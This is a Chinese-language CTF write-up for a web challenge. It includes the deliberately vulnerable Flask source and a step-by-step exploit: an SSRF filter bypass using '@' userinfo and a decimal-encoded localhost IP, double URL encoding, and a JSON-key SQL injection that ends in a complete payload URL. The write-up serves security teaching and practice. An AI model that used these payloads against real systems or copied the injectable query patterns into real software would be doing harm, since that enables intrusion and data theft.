共计5229个字符,预计需要花费14分钟才能阅读完成。
题目
题目内容:一生中能改变命运的机会可不多啊。
以下是源代码:
- app.py
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO)")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
- init_db.py
import sqlite3
conn = sqlite3.connect("D:/CTF/temp/fate/database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
conn.commit()
conn.close()
剩下的文件对做题没有影响,这里就不放出了。
思路
我们的目的是获取数据里的这行数据,里面包含 flag:
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
要获得数据,必须通过 /1337
的路由,而这个网页又只能是内网访问。刚好路由 /proxy
提供了代理访问的代码,但是这里屏蔽了关键词 .
和所有的大小写字母。因此我们不能使用 127.0.0.1
或者 localhost
来访问内网网页。
而且访问 /proxy?url=/test
会转向访问到 http://lamentxu.top/test
,并不能访问内网。可以用 http://lamentxu.top@127.0.0.1/1337
来绕过,@
前面表示的是用户名和密码,因此我们实际访问了 http://127.0.0.1/1337
。
但是 127.0.0.1
肯定是不行的。想到 IPV4 地址不仅支持 点分十进制 表示法,还支持 十进制 表示,即127.0.0.1
的二进制为 0111 1111 0000 0000 0000 0000 0000 0001
,转换成十进制为 2130706433:
于是构造:
# 网页端口是 8080 可以参考比赛网页的端口
/proxy?url=@127.0.0.1:8080/1337
# 绕过改成以下
/proxy?url=@2130706433:8080/1337
接着访问 /1337
网页要求给参数 0 和 1,其中 0 要求是 abcdefghi
,但是代理网页禁止使用所有大小写字符。可以用 URL 编码来绕过,即 0=%61%62%63%64%65%66%67%68%69
,得到:
/proxy?url=@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69
# 浏览器会自动转换编码,因此要两轮 URL 编码
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569
接着给参数 1 构造 json 即可。要绕过 bin 转 string 函数:
json_str = '{"name": "JOHN"}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)
得到:
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=01111011001000100110111001100001011011010110010100100010001110100010000000100010010010100100111101001000010011100010001001111101
这里直接输入人名肯定不行,长度会超,但是题目有提示是 json 的反序列化漏洞,我们构造 JSON 格式为:
{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}
这里顺便还用到了 SQL 注入,绕过了限制,获得第 9 行。用 )))))))
来封闭前面的 upper
函数,并且用 or 1=1
获得所有的人名,接着 limit 1 offset 9
限制一条并返回第 9 条我们要的 flag。
json_str = '{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}'
binary_str = ''.join(format(ord(c), '08b') for c in json_str)
print(binary_str)
得到最终的 payload:
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101
Payload
http://eci-2ze416x3w8z8l5bqv7tn.cloudeci1.ichunqiu.com:8080/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001001110100011001010111001101110100001000100111110101111101